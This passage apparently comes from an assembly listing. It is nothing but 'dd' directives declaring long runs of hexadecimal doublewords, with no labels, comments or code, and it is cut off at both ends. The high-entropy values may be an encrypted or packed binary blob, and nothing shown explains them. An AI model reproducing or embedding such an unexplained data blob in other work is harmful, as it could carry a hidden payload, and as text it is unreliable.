76AE960Bh, 0BB519365h, 0F150D9D3h dd 0E251BD02h, 442ABA2Dh, 0F5AED60h, 0D2458FDDh, 941E6FCh dd 872EE5DDh, 0ECE9B32Bh, 7A4BE3E7h, 42E829E9h, 6ED1DDE1h dd 6553561Eh, 0D75BA7B0h, 8CCFBB15h, 5187B410h, 75533E0Bh dd 169E8EFAh, 925FD6E9h, 4E98F581h, 568267BEh, 5FEC1ADDh dd 4BE9E042h, 6EDAC9EBh, 57145F8Bh, 6E00D655h, 0E94C3C6Ch dd 0DC978BE2h, 8DB85803h, 860111Eh, 580EC212h, 5EBD36BFh dd 5168CE02h, 5D720927h, 0D134DE0Bh, 7AD10493h, 15C40CB8h dd 259514AAh, 0BBE180C9h, 50F04F74h, 24568035h, 0B75631Ch dd 8468A89h, 0E69F902h, 0DED5F70Ah, 0C3E90592h, 7222EA85h dd 588D565Ch, 0E913F9F7h, 0BD1DCFCh, 0C85A537h, 9809F568h dd 10951CEEh, 53543FDh, 85E91799h, 95F4AA90h, 256A60ACh dd 4D75ABEFh, 0B84F2F2Ch, 2F8C0117h, 80F73A81h, 4761E20Bh dd 4684B706h, 60AEBD04h, 2A964F82h, 3AF5FFD0h, 4C53A76Ah dd 6D6A2618h, 0E958216Ah, 0B4265ACCh, 1813CE11h, 1DAF6520h dd 3EC87E4Ch, 1C62306Fh, 0FF62A5h, 2799ED09h, 1C0E6135h dd 7F82FD9Eh, 863F5AE5h, 0EFACE2Bh, 54AC4627h, 0CA210259h dd 8D834259h, 0FF90DDDFh, 48EB17E9h, 911EB286h, 31C97388h dd 0E72520E8h, 907D399Ah, 0DC70151h, 312653A2h, 45420F9h dd 2B3DF4Ah, 9D54C78Bh, 28794D52h, 64F0063h, 0BE560B5Fh dd 20E0D20h, 0B972E94Eh, 26DDCB51h, 0E388403Ah, 41CDBF57h dd 0DCB78F7Bh, 7D08215h, 64D501FBh, 8BB3BBF1h, 48F62A8Ah dd 70CBE958h, 36FD9588h, 0C0135F13h, 0B0AB906h, 1525FC4Ch dd 296F827h, 0DE15C4CDh, 0DE12FD58h, 5C055740h, 3E63E5BFh dd 0BBC43D13h, 75545E92h, 80E175E3h, 687D32AFh, 9F87DA04h dd 77998FFDh, 0B75E5602h, 0B01D95Fh, 21729D26h, 7397F54Ah dd 0EC455F59h, 0D8881231h, 8B0660CAh, 0C94D911Ch, 0ED3B30D7h dd 721A128Bh, 0B50FE39h, 0E95E0B08h, 13F4D028h, 8C30428Fh dd 504B5F97h, 0CA4F8DDFh, 0D9D18B6Ch, 0A912BC30h, 8A09A4D0h dd 0D0372924h, 9D6708h, 0D39BA52h, 0A4B81310h, 751CDE01h dd 560AE931h, 51002C72h, 1FD76850h, 58013F83h, 341A3540h dd 0A46A7CCAh, 0BE705F11h, 80EA59BDh, 2518E181h, 0E912415Ch dd 2DFA0BFDh, 6CC8F55Ch, 21FB4AE4h, 2BA17B0Ah, 28659DE6h dd 65E2AA82h, 0EE2C44D7h, 2D59007Eh, 5FBADDF6h, 3BF9F9h dd 0DFD50B9h, 0B3D3635h, 0CDE9AAF0h, 0BABB04A0h, 7FF9477Eh dd 0EF4810F2h, 3B0CEB28h, 0D4D8D15Eh, 0BF4FA838h, 5EE93F7Ch dd 0EB0985A3h, 0BF2A9A6Dh, 0FC2E3729h, 3A20F46Eh, 0BE2BC268h dd 0FF17620Ah, 0FCCD0B0Fh, 0A2911648h, 155C048Ch, 12FF01B1h dd 0ACA1AB59h, 9F9CB3Eh, 741D46E9h, 8CEEA02h, 112C0F4h dd 3B7A01AAh, 794B0467h, 7B2F9FB7h, 0EC8C9661h, 87B34FD7h dd 81C009C5h, 11F6DC55h, 622659CCh, 0BCCB8A3Fh, 6E80E46Fh dd 1E2E4BD0h, 0B8F6E923h, 0B265A85Fh, 0B7E90133h, 814E56D0h dd 1769F1BFh, 0BEF12489h, 134DF5C6h, 730C3C1h, 8FD901ECh dd 7E6708D4h, 3CA1025Fh, 0E94177DCh, 955809BAh, 0A4621F38h dd 56E0536Fh, 61BA8281h, 0D9E25A05h, 4FD3E9C3h, 0E2D32150h dd 6D7C3571h, 2B407633h, 0D483EFD7h, 0DE5440D2h, 0A2AD54EFh dd 3E6343E2h, 256E80BBh, 0D1F38103h, 3E472562h, 6DDE98D7h dd 99FA48Eh, 7E6812C0h, 49FD0A80h, 729F5079h, 0E9088017h dd 0E8044B78h, 96C2A7FDh, 207DE423h, 0FE2F2A6Ch, 485176C4h dd 9AD488BCh, 2DB9531Dh, 41BB7E3Bh, 6B7E6168h, 0A89723A3h dd 3CEF4F7Bh, 7E32E9DBh, 7D5F0ACFh, 0AF892BD9h, 64A1D464h dd 0D773A851h, 96B8CAFBh, 2520CEFAh, 0E52820B4h, 5A9F5664h dd 4CB3F35Fh, 68060571h, 0CB60787Dh, 4E056A41h, 1876E837h dd 0F7479F58h, 0BE0B1D2Fh, 60D75652h, 59685547h, 22826A02h dd 459EE6E9h, 92FA3DD6h, 3AF09D73h, 7D8EC2BFh, 0F32C43CDh dd 0F70BA110h, 0C75446D6h, 409EC687h, 0E9562E10h, 0EC954AEBh dd 44EEE526h, 0ABD79FFEh, 2292FDA9h, 63D8FD4Fh, 0D02754BDh dd 0B0204DA8h, 83021763h, 0E3E800C3h, 28E73226h, 62016598h dd 0E90D861Ch, 0F2558C42h, 1F64B100h, 0ED290E74h, 0B008BAA0h dd 91259A6Fh, 0E5314353h, 2B8909E9h, 0F74B73B9h, 3A09D428h dd 5D9083A1h, 0CA79E9h, 31CB824h, 0A9354955h, 69488EE8h dd 640270D9h, 93E92BDBh, 0D33BF54Dh, 5203F7D9h, 79C1F2A0h dd 0CEE55050h, 18254A82h, 43DDC808h, 754924BAh, 77E9077Eh dd 0E6DD0B1Ch, 4B74F627h, 0FFAB94D1h, 53BAF340h, 0B8427F5Eh dd 6128637Bh, 878949C1h, 0F3872B1Eh, 5A1208EAh, 7DDE24C8h dd 4FDF2F46h, 5B97767Bh, 15A695EEh, 30760B21h, 0EB63AFD9h dd 805B6C6Dh, 16C1B3B0h, 13F6139h, 0AD2DD739h, 24922D15h dd 5D979205h, 0D87B35B1h, 2E31630Ah, 64CE7C6Ah, 683AE901h dd 18E85EB6h, 182A8F40h, 84906C8Dh, 55823EFAh, 0D1A2CF9Ah dd 0B505954Fh, 7AEBFA82h, 802D0EE7h, 0FA17A4C1h, 0F4E04683h dd 0E96DF0AAh, 7AE40259h, 0BBFA68BDh, 9C54977Ah, 9F2F2140h dd 3D1C902Bh, 72815D6Ah, 0F0E9FA29h, 5FB73A90h, 17C94F9Fh dd 413589DEh, 16C28482h, 529FBF00h, 895A27F1h, 42D5EDB2h dd 22AE41BBh, 11E6D28h, 287967C2h, 75B261C2h, 5BC9229Bh dd 5AE83F7Ah, 5DC082D2h, 0E99CC055h, 800740A9h, 5CF2EA27h dd 4F8D200Dh, 8C1DEE76h, 525E1070h, 0C0E60FB6h, 0F68703EEh dd 75C6F3FEh, 2A131E33h, 75F38385h, 0C8DD8310h, 0D140CDF2h dd 4EE4EC5Ah, 0EAF5D043h, 345B6402h, 0F8E718A1h, 5A91D910h dd 4FB3A805h, 241870A8h, 0FEE63360h, 282D4024h, 16B5D90Eh dd 19EBCAEEh, 0EA3168DCh, 58F9E46Fh, 0A84FA6F8h, 80A434EEh dd 0CD05D834h, 0D50FC0BDh, 25EEBF08h, 9D546BF6h, 80CEED4h dd 74D1211Ah, 47AE02F7h, 51553A5Bh, 4C124A40h, 0A7EE7BCEh dd 74B9ED52h, 23EBC0BCh, 604EFB67h, 840B6ADh, 0A13724E9h dd 0C026B37h, 3BDD8817h, 4920DA08h, 57EA331Ch, 6050FAD6h dd 0E1BB579h, 3C6F33C9h, 11C1C558h, 680DCCABh, 0C260052Ch dd 0BA077C6Ch, 0DB459D3Eh, 0C34B6620h, 608D39EFh, 11D26D50h dd 0ED3F00FBh, 615175A1h, 32F60CC2h, 3FB5FCE5h, 90530C85h dd 0D4D7FA48h, 3186930h, 5BF4BF0Eh, 5B0E0820h, 76EED14Eh dd 0A7E80A8h, 2F8921F6h, 8DC7098Ch, 0B2C87A57h, 0A1BF1CF4h dd 47734A38h, 106505F7h dd 0D4AEC7D7h, 0BE078CD4h, 0CB324009h, 0B482DFC6h, 220A7981h dd 7F4B912Ch, 2943BD69h, 0A2AA92EAh, 61A84F65h, 80E6EBE5h dd 0E9BEF44Ah, 0E1DE3526h, 1102895h, 5B623FEFh, 2A25F9E9h dd 7358E1FCh, 0F60416C0h, 0E71EDD1h, 86672C7Ch, 53FB1C3h dd 0CD4123F1h, 9204AB05h, 99FE215Fh, 4B844FFh, 0B37F9C99h dd 8D0717ABh, 0BD6B0BCh, 0E7567BDCh, 74853762h, 53DB92DCh dd 2D3CBB1Ah, 27D85C21h, 949FBE20h, 1856B5D3h, 2797EB89h dd 0F872EA16h, 4245DE84h, 0F1131140h, 0A93BDF08h, 0DC281E3Ah dd 85842A92h, 8173C0AFh, 0B16FEE7h, 441459A4h, 4C202496h dd 82ABFD1Ah, 7D87D24Fh, 0D18B31DBh, 88DD319h, 46124E65h dd 128A4403h, 0F7E88C61h, 586D1706h, 0AAFC0E0Dh, 0C534F728h dd 5DC4252Fh, 4FDDAF32h, 8CE90565h, 0D925AAC0h, 0E9B56CBEh dd 2CF3B931h, 372B9F68h, 1B53D685h, 22F3665Ah, 0DF65F94Fh dd 0E659E6AAh, 54754F5Ah, 682087A1h, 375C6BA9h, 0CA124874h dd 54EA8817h, 0A95F540Bh, 9BBA5017h, 24BBCF5Ah, 0FFC58426h dd 0B0595FCCh, 7A6950F0h, 3F204814h, 0C17B5ACAh, 755D40E9h dd 0E5D7C6FDh, 0B0AD22F8h, 0CD46204Eh, 629BB22Ch, 0F1535897h dd 76068209h, 0D828E03Ah, 0EA12B551h, 650ACDFEh, 0FAA7459Eh dd 0C6D92D0Fh, 9820AB46h, 0BFB1A0A1h, 47A2C0Fh, 0A8ED091Bh dd 3D2D8A10h, 317FBE80h, 2620E305h, 48B900D0h, 42100912h dd 9071CA31h, 715AD762h, 1012ACD7h, 2AD2C18h, 0FC2BC707h dd 15004FBh, 0C407C350h, 0A464CC05h, 9535C0DAh, 5E5EAA5Dh dd 4E6FD8F0h, 8185259Fh, 2AC3060Ch, 376E7F2h, 335121ECh dd 91F9DF89h, 0F1E815Fh, 265968C8h, 31C4D478h, 0C242E476h dd 92DD840h, 1AEB2CA6h, 2C40E4D5h, 0BD22CEE9h, 0B958B394h dd 99B25402h, 1940EA30h, 5A80D928h, 2C62D83h, 1C37835Ah dd 9E63DD62h, 0D9FDA3EAh, 1693BA6Ah, 0B2E2EC59h, 17EF5121h dd 0D3DBFB56h, 50B1B510h, 72126267h, 80EC6DFCh, 6195D413h dd 4FE9F78h, 50036ADh, 73F3FCB8h, 585FC601h, 0E96220EBh dd 2EC780A4h, 14873035h, 0FC3946DFh, 0D2F72E14h, 85AD0BFBh dd 1D62EBDCh, 0E4570972h, 89782454h, 4D7DA529h, 107F2F64h dd 9D545CF2h, 0D9A74776h, 8105012Fh, 0E74310CFh, 0D8BF129Eh dd 71F12A44h, 0C350B5A6h, 0B32568F4h, 9386607h, 5D877983h dd 0E760ABAEh, 89A21210h, 2F5BC7B7h, 5EDA203h, 0DCD3D14Eh dd 0E7F340D5h, 7F6F1F8Bh, 6857C509h, 21CCFE5Ah, 486B09B9h dd 0CB8056CCh, 0A933B797h, 0E91BCFFCh, 0F3570604h, 7F45D1F2h dd 0A8C7F140h, 495E2F01h, 8A0FDD4h, 20AB5A4Ch, 31661285h dd 7BEC97EAh, 7F071249h, 0E5F05C12h, 0AC501086h, 1BA4168h dd 0FE835B08h, 54C0E682h, 74AE6D48h, 0EE873AC7h, 0B4A101C4h dd 58A1A37Eh, 13F73937h, 0FFE8DFD9h, 20C821E1h, 0FCB5ECA2h dd 0D048F2EDh, 0E1010AC8h, 0F53A051Fh, 0E87AE01Eh, 28FE5BF5h dd 4C65C9A6h, 0E4EB46ADh, 41E9278h, 6CD20D5Bh, 0F76617C2h dd 579226E5h, 0B59E1691h, 9F155C2h, 71687ACCh, 35175C2Fh dd 0C1A7E917h, 0F4AEB24Fh, 1F9B0355h, 0EFA23D0Ch, 74009F5h dd 6A0068CDh, 108B2F52h, 9837F8BFh, 9362481Dh, 0F685CC1h dd 11D18975h, 0A78AD37Ah, 0AA0B1AFEh, 221CC793h, 0C27FB495h dd 71DDBFABh, 0AFD365AEh, 1936F60h, 0F3387DE5h, 0A13A7935h dd 0DA903D8h, 219C0290h, 14FDA49h, 1BE037D4h, 627BD729h dd 5C89C24h, 5D2FFCBDh, 4B03D0E2h, 50D8BA7Dh, 79C92E80h dd 0F19E3AF3h, 93C3023Eh, 0A261CB28h, 0A2C5EC42h, 0C39606CFh dd 0C9FE0AE5h, 122E4DE9h, 8299EF0Fh, 60AE8D6Fh, 6695201Bh dd 12725B08h, 0F9A3AF80h, 57515582h, 6902D4D4h, 411C4231h dd 745F11Ah, 616D45B4h, 99E1CDABh, 8C016B20h, 9A7501C1h dd 0B8167FDEh, 4722D20Fh, 28C5C00Ah, 1812B01Ch, 0BD1AECE9h dd 0A4CC5EF1h, 0F255AA0h, 23655443h, 25A9EE46h, 6B5DEB26h dd 0AFF17D16h, 0A113E82Eh, 10772D5h, 0AD202CF0h, 0D1830454h dd 80F625C0h, 492D3045h, 6FAC90Ch, 2981BC60h, 521068F9h dd 21045D73h, 4E026Bh, 1DDAADAEh, 571561E9h, 0E1C10958h dd 68B374F5h, 2163320Bh, 63C5D156h, 1F4816F1h, 0A32D2721h dd 3A9FEB5h, 0F3BF57B6h, 16186A49h, 4225E6Fh, 49EBEE47h dd 800C8298h, 0BD06D6EDh, 0DD90C2ECh, 0D5E5EA7Bh, 6FAC2F59h dd 121DF524h, 3E932D99h, 64045816h, 62A2B74Ch, 2D75C26h dd 2E144036h, 7695144Ch, 4B26A17h, 982CE168h, 839743FAh dd 2FCA877Fh, 60CEE75Ah, 3D96F7F6h, 2D3456A5h, 0BF98CB4Ch dd 9242E913h, 0BD2830BFh, 0D0728850h, 224C0395h, 0F88916E4h dd 2B1B35Fh, 533F642Dh, 20687E15h, 1256EA07h, 0EA1CA649h dd 1757A528h, 0D178B8E9h, 48FAA8Ah, 1C94C507h, 0D7790289h dd 0CAC5A7C1h, 0A72CC803h, 0B2C35DCBh, 686640BFh, 7E9563E4h dd 47980B6h, 2CE8287Dh, 88362CE9h, 20DAAF82h, 74356F0Fh dd 0C909A534h, 0A0DC2FA4h, 812928A7h, 117ADEBEh, 84450B03h dd 0F2814A59h, 3C41401Dh, 0E9DA16F7h, 61C7FE1Ah, 5DF27A62h dd 0EB140FF1h, 0F12FF9h, 56F380C3h, 0C0CB3EFEh, 5DFE07BEh dd 0DF2E2B7Fh, 13552D72h, 0E863FA32h, 0B161681Bh, 84B11239h dd 0E961AEA8h, 3A80EF65h, 1F0BA6BEh, 0CE058141h, 3A6A24F7h dd 2A7FD7C0h, 0B29A507Dh, 6C52374Bh, 3A0A480h, 0FBC15CB9h dd 0ADB2D3F4h, 130C88C8h, 0F13CE71Fh, 6BCC89E6h, 6718D738h dd 91A0565Bh, 321455C4h, 1284421Bh, 0AE20C925h, 5CAC4304h dd 9A052129h, 0C95C4F1Bh, 1D0E4A0h, 8363202Eh, 54B37900h dd 521CE9ACh, 0A61CBE3Bh, 0B2F4A771h, 0F6FB2301h, 813A892Ah dd 7D4276D0h, 1FF95B5Dh, 0EE95681Ch, 2D56C1B7h, 0FD01D880h dd 0C537E917h, 954CCAFEh, 0F7502485h, 914583Bh, 585EE98Ah dd 0CA6816A0h, 11F2B316h, 2E1C9445h, 0BAF72F08h, 0F57DC218h dd 61979AEBh, 2A3F9E68h, 0D652D232h, 0F6BB015Bh, 7A2D4F33h dd 0EFCDC8F1h, 0B189744h, 4845110Ch, 141AA650h, 0EF6036F0h dd 0B8966FBDh, 76300142h, 0A7DB8970h, 19F20AC6h, 0D54C4C50h dd 3E30C9F5h, 81861D4h, 20685B0Ch, 900158F4h, 0E9353E36h dd 0D13E8326h, 54B43780h, 0BB5B81F8h, 6006E979h, 909F8904h dd 978BB992h, 5E4E9F50h, 7A449FA1h, 7E48C24Bh, 53C40741h dd 2F35401Fh, 0B24A0DBEh, 60E798B8h, 0CB74B4EDh, 12B5554Bh dd 5EAA0806h, 0D088AC44h, 72890C08h, 0F5919A2Ah, 0C6004BADh dd 6C87681Eh, 98EB98B7h, 25EE7FD0h, 84776BE6h, 2AE6BA06h dd 0AC981D53h, 0E9273EB4h, 36B30AF2h, 8910CD2Dh, 4AF7ED5Bh dd 132E5608h, 0AACDFA87h, 7A1DE7E9h, 0E90DE6A2h, 0D81EACD0h dd 120494BEh, 0DEF74996h, 9958AAD1h, 0AE57002Eh, 1092340h dd 795FFE27h, 2DE905A7h, 0A3F2A4E5h, 0A43FAE41h, 7FBACCA0h dd 90BC0096h, 0BE018C7Eh, 6D39574Bh, 92562A29h, 1754462Ch dd 0B857CAE9h, 833EA1BBh, 0BB665A97h, 6EAD4DD1h, 45D59307h dd 98C002C1h, 25D0E54Dh, 30532566h, 4B03BA89h, 2324CAD1h dd 0C61E97D8h, 0F29CFD8Bh, 62039865h, 0EE458651h, 2ECF4948h dd 0AF96813h, 505F7500h, 5CC17558h, 0CB1CA7E3h, 0E8E41324h dd 3A8D0025h, 58E955ACh, 3140CF73h, 0D924AA73h, 0A9AA8F84h dd 860904FCh, 0A5F872F5h, 28D9B260h, 0E9273165h, 32935AE2h dd 0A0BA5A59h, 9CC15704h dd 77C245DDh, 0E950E771h, 0DC894A13h, 0B4A251DBh, 0C777CD0Bh dd 0B67725ACh, 8E92F45h, 885A1FE1h, 3C7C0990h, 0BA4A32BFh dd 75540CC2h, 2980CCEEh, 98BF9C68h, 0C72FE908h, 2AD33143h dd 0C94A1E88h, 7977887Dh, 25686355h, 0F8E98A4h, 2C8BD1C5h dd 0E9C3E0A3h, 0EB850BA1h, 0C040E88Bh, 291614ECh, 0AB00A77Ch dd 317A6ECBh, 0E95B5FFAh, 0F401B694h, 662C16E6h, 4D7CC8EDh dd 16C5D24h, 946ED42Dh, 21F27F18h, 6680798h, 0E1CD51E5h dd 20373EDh, 0C4801CB4h, 689462B5h, 326EB912h, 0C1AA02E2h dd 23354140h, 0E9F92905h, 0DDAA2DC4h, 680EED2Eh, 52BA250Eh dd 978EBF17h, 0AF04C4D6h, 3B208C8Bh, 0DDD2F726h, 3C6D0501h dd 0E824218h, 0BE914843h, 95364ED5h, 12E21C55h, 0FB348B5Ch dd 792E0CBh, 0CF289243h, 65DFEC16h, 46E58093h, 4051DF30h dd 0D05E210Ah, 0D74B528Bh, 0E457EB6Ah, 6580BDE1h, 5B80DEBh dd 0AC12F1B9h, 3364D0FFh, 5EB00846h, 4913E30Bh, 9A768248h dd 0DD2C4A47h, 977C6406h, 0EF057032h, 2964F7F8h, 0FDED42BDh dd 0C80B965Ah, 80594675h, 0D73DCF54h, 3B76B00Ch, 15AC20E5h dd 82E31A29h, 7E2F1341h, 0FF0C1392h, 0DCCB05D3h, 42FA7043h dd 2EB5EC95h, 1C18EE81h, 410CB03Ch, 8050525h, 23E9CE01h dd 94AA3FAh, 0F55D5455h, 0EB43D516h, 415CB558h, 9F116828h dd 0F4640FC2h, 200CD6h, 0B1FBE7E9h, 0EE1112h, 8C567B2Dh dd 7E700513h, 3BC1E840h, 0DF4802E8h, 0C2E79E24h, 3C50CE3h dd 62F1762Dh, 68011D28h, 0B33E3DC6h, 1BA31349h, 4C7674A4h dd 50C01AA8h, 705D468h, 70B0235Bh, 49023027h, 6D1CEBEh dd 4E480AF8h, 0FC2000Eh, 0E5E94892h, 6C4EBFBFh, 0AB8AC597h dd 0D1C2614Fh, 796261E2h, 0EAC70279h, 57716308h, 688577DCh dd 0F3CD601Fh, 4A2AA63Fh, 803CB2CCh, 91A5C1A1h, 72216809h dd 0B1385FDEh, 0D5A72F1Bh, 342F328h, 54B2C5F1h, 1EAFE89h dd 0F85731CAh, 74CF3950h, 2BCCF7BEh, 25829729h, 30B81D9h dd 0CEB85DA6h, 282880BFh, 0F7018236h, 8D451CBh, 5B60FD31h dd 0EAA994EEh, 0FAD713A5h, 0B66EBA9Dh, 0B2C81258h, 0F9310E8h dd 671EF4AFh, 74C98976h, 4950D3C8h, 84F9464h, 0C0CB595Dh dd 0CE1975F9h, 58AC6210h, 0BD551DDAh, 14531A44h, 0C77890AFh dd 923B710Bh, 0EC0B7901h, 775778EBh, 717DBBBAh, 6CDE42A0h dd 7572E756h, 6A31C21h, 0A143C2BDh, 5FD4FCA4h, 0FEB4A5A8h dd 0CB88EB04h, 5512C7EFh, 3012C1F4h, 0A7BD00B4h, 79EC2822h dd 3031B089h, 0D0C3B38h, 7998F74Ah, 5C1475F6h, 44831DFAh dd 0EB0CBFE4h, 0DC3A6D69h, 0A35F19B9h, 6212026h, 0D78D5498h dd 0F9882E51h, 76EB3DAAh, 0FEF81C7Fh, 21FB4EABh, 2D37305Dh dd 735001D8h, 0D0292BC9h, 98F2BE89h, 90BC8971h, 0C15B5B50h dd 0D512EF72h, 8919F07Ah, 0C2C413B7h, 1C8B57A9h, 0A8896F77h dd 4A843201h, 4AD7ED57h, 0B43A0850h, 4D476858h, 0AC89307Bh dd 51AE3650h, 666C032Fh, 0D069208Ah, 7C095E5Bh, 242CD321h dd 0E90C057Dh, 0E418B552h, 8DA805E5h, 6E06450Fh, 0D7F7FA87h dd 49FA9708h, 0D5CF206h, 0BC0CBB3h, 25B766D5h, 93242DFh dd 510E4808h, 205F0168h, 0B4E90623h, 8A317AA1h, 8E3AAEFCh dd 16212C91h, 4812DC0Bh, 0CC147D83h, 4A8450Ch, 0EB804D60h dd 90CA640Fh, 39B4912h, 5FC9558Bh, 2D07DA33h, 0D1A2E3C9h dd 0A872AF0h, 2B53665Ah, 27B56D60h, 0E814B6F1h, 0C9C89D0Eh dd 0AC810ED6h, 9D9DA7D8h, 0EA10C765h, 40A3E313h, 6190F231h dd 0F8BF6E65h, 0FCAEC0D0h, 172E91Ch, 597CD51h, 4BCDA208h dd 7EB088ABh, 0BB2A6841h, 0A6AEC124h, 833949A2h, 85081668h dd 4832F7EBh, 0DF5C893Ah, 6E0A4AE9h, 509F31C1h, 44892E0Dh dd 0CBB88930h, 0A35EC6CDh, 0ED8EE40h, 0E97A4E2Dh, 0E90840D2h dd 0FC88444Fh, 0DED51E1Ch, 2779D61Eh, 17EBC2F9h, 69168240h dd 0A52BC189h, 0BCC17E0Eh, 0B600FBB1h, 0C33980BEh, 0D1EB9FE0h dd 0D2805493h, 3D284CB7h, 0E42D5BFAh, 65DF02C2h, 0BE5925D5h dd 74155092h, 0E0D009BBh, 52F022Ch, 5D7377E4h, 75736225h dd 38192A1Eh, 67A49CC1h, 0D2024303h, 0B35EA4FDh, 5E745D29h dd 0E0244052h, 0B854B777h, 0D6B264CFh, 0DA6830FAh, 7A00582Ah dd 0E373722Dh, 0C0D8016Bh, 902097DAh, 0D64FF768h, 0AFF6D8D0h dd 6DEB204Fh, 2186214Eh, 0A411286Eh, 0E285553Dh, 0B5A457EDh dd 4CF725FAh, 1D496263h, 0D97D2388h, 0F7366295h, 963471D5h dd 28D743ADh, 0DD9858E5h, 737DC580h, 9AF4A54Ah, 9B2D9F5h dd 0DE8870DDh, 25593240h, 0E6F5E630h, 0B379206Fh, 0BD5FF0B5h dd 7DEBA27Bh, 2A30228Dh, 9A015F16h, 5556ADA9h, 0E9B8A03Eh dd 76BA2BE1h, 3CFCD570h, 0E8C9BE5Fh, 0B9429261h, 970B0B71h dd 586E16D9h, 4B376811h, 0BFBBCC2Ah, 13725C49h, 0BE8C501h dd 0B34EE18h, 3A9814AFh, 310EF3BCh, 98ECE6F1h, 868130Eh dd 458935h, 0C30952F8h, 2ACD33B0h, 0F47A9755h, 0E953373h dd 2CC2C1B5h, 5CDEC90Dh, 0B063175Dh, 5B0CBF4Fh, 4E53460Bh dd 9D0203A4h, 5EF73113h, 42B74205h, 89C2E4CEh, 9D64E6F9h dd 83E66F23h, 0DFA09D25h, 9D677298h, 2834FF95h, 8FAA504Bh dd 44095C22h, 6C0BF1C8h, 0C058034Dh, 0D24A3362h, 0EF1EBF33h dd 0E504F76Fh, 23B3EB56h, 569304Bh, 1C0E2D29h, 0B4F80173h dd 30811707h, 71CF21BEh, 4CC93B84h, 0C1A139E0h, 134038DFh dd 12332426h, 32582E0Ah, 933F9489h, 72C96C6Dh, 0D69E336h dd 0E98412D6h, 30E8091Ch, 0E29B0B9Eh, 50A8435Bh, 0A63D630Bh dd 70007064h, 2AE6BF0Fh, 0D30F5990h, 0E44E9579h, 0F6FBD26Eh dd 5ADF485Dh, 0F3F14FB8h, 0ADFC041Ch, 8D27984Ch, 7425F8C6h dd 0A675770h, 39851E13h, 52A450BCh, 0F9B6D89Ah, 5BDC5F4Ch dd 21A51EFCh, 3F9048AEh, 347BB0A7h, 0AB1682C4h, 4646884Fh dd 514B078h, 847FDFBBh, 9FCAE86Dh, 0FDBDD0CBh, 7657E292h dd 0BD555815h, 0C316900h, 0A8E94D5Fh, 0AC34D76Ah, 3BD10473h dd 31B0E178h, 3DB541B8h, 0F199C10Bh, 0E420107Dh, 0EE8080B9h dd 0C7063862h, 40E07730h, 25804862h, 0FD6F1976h, 94C83031h dd 38AF9A3h, 44407BCCh, 5DCEFA5Fh, 0ED6207F1h, 4BB707D3h dd 813B485Dh, 433E0CEAh, 706CA29Fh, 0DF6C5881h, 2FEF1F50h dd 47896476h, 0E7F3AAD7h, 89FF5E27h, 83F0F4E9h, 2CDBBD05h dd 8BFD7638h, 96063F06h, 9E0B0C66h, 7C4F985Ch, 5AC683B9h dd 0C01547Ah, 7F1F1587h, 0F934BDE9h, 67BC2D68h, 67BFF634h dd 4F30AFEDh, 0EA31C0C8h, 80060605h, 0D93D0D9h, 0D30009FEh dd 41494F22h, 7F63E37Fh, 0C817E06h, 0AC853658h, 730694F8h dd 0CF013515h, 59088186h, 4A16F520h, 0A3CFCC9Eh, 4A4B782Ch dd 4784A609h, 901A3F35h, 0A8747CA5h, 0C208F549h, 0A3F03E8h dd 0E1AA7C25h, 0C2F1BD81h, 57A6AFDAh, 0E2E987A1h, 629651ECh dd 0F0FE161Ah, 0D025BF47h, 0C238E23Ch, 0F4FF26E9h, 46988B03h dd 0CFE680DFh, 36B91617h, 227EE938h, 98282C3Bh, 36DD4BBh dd 9F86913Ch, 0EFCC9251h, 95F45839h, 0B3E495BAh, 86657AF0h dd 0F2BA2910h, 0EE92937Fh, 0B3D7A67h, 0F87052C6h, 0F19A8377h dd 5D5E8A78h, 0E6DD5709h, 7FC505B8h, 80FB9AD5h, 0DC09B250h dd 59C33D4Ch, 68521FF9h, 3E5A32C7h, 0CFE8EFB4h, 3ABDB902h dd 0BB804A93h, 0B71501FEh, 1697CBE6h, 49EB0595h, 804BA532h dd 0F677EF70h, 0AEF86A5Fh dd 24E3680Ch, 0BCBA3EF7h, 54A999B7h, 2DE894F3h, 0E9DB784Bh dd 0DC1D4725h, 0D6B84418h, 5158802Dh, 0F67A3EC2h, 5B0884D1h dd 4ED4FBE2h, 29A1F813h, 0AFEB403Eh, 28901952h, 0A7E9DE0Ah dd 120232C2h, 0C10F1E54h, 0BE04F7C8h, 0F8819C85h, 9BAFBA43h dd 21258BD0h, 9842071h, 0B812C86Eh, 0B25B4072h, 0FA30921Ah dd 0F01C7D0Eh, 0EA0BE927h, 0EFB4185Bh, 0C9620041h, 52F70127h dd 54758EBAh, 0BFEE7550h, 327E6D1Dh, 3EA3CA80h, 48C10E24h dd 0EA02DBE2h, 75B6597Fh, 6AE96068h, 53B71670h, 9E55ADD5h dd 82917DCEh, 0E817F0D5h, 2A643E68h, 0FE9B0292h, 0A44F6BF2h dd 4A256818h, 4B536630h, 0BBA7846Eh, 1B34DE71h, 0E614E0EAh dd 423917F8h, 7C46A616h, 40BF3317h, 817B77B1h, 48D92FE7h dd 3F27DACEh, 12DA5367h, 0AE0BBF31h, 0B8DD20A6h, 90585AD6h dd 0BC9D2FE2h, 3E39D0E8h, 3516C700h, 11E4183h, 0B0FEC48h dd 317EA4A3h, 0E9135CF6h, 52B3ECFCh, 7BBD3FE1h, 0A1808DFCh dd 0F70B1A55h, 0E94BD309h, 9DF6F81Bh, 0C54FBCD1h, 2BCACDE8h dd 0CAF68100h, 0D13B5A3Dh, 4A5DE658h, 0F892E7ACh, 7DA712D9h dd 0C7C4ABACh, 0D001125Fh, 2F3C6FC0h, 0B75A7FECh, 306150A6h dd 0E7A3F897h, 0DD68C23Bh, 9D048F68h, 0C6DB682Fh, 6F42A08Fh dd 695296D4h, 827C595Fh, 4DD744AEh, 0A0EF9C0h, 216BD509h dd 41A1F4EAh, 0B431FAE9h, 0D4EE4299h, 0B0E0E07Dh, 7761EEE6h dd 8C483940h, 0B2029A30h, 0AC78971Ah, 7F84C70Fh, 3949FF55h dd 0F1A7FADh, 0FF9FB160h, 5885880h, 0F65966ECh, 328EB2D4h dd 0FE8A6A80h, 3AEE3B7Ah, 85C529FEh, 0BDB50EE9h, 0DB0986CEh dd 0F2B22F10h, 0E1206178h, 0D0594F3Bh, 9307C545h, 0B601648h dd 78096B8Dh, 693B0194h, 0FE9E8AFh, 0D8C96F32h, 9B6BBA41h dd 8BC1E32Eh, 7592105Ch, 0FCCB5B73h, 7CFC72A6h, 0FD2F4877h dd 3A99525Fh, 81687EDh, 297F8DFh, 0E91ACB4Bh, 0C88BDFAAh dd 690D655Fh, 36D7A2DDh, 8860C8FEh, 0DBD28355h, 7C57DC4Ah dd 829F882Dh, 0F02BA01h, 23F7D34h, 7F463FC7h, 0E9E13363h dd 1383C3Ah, 0CC88A3B1h, 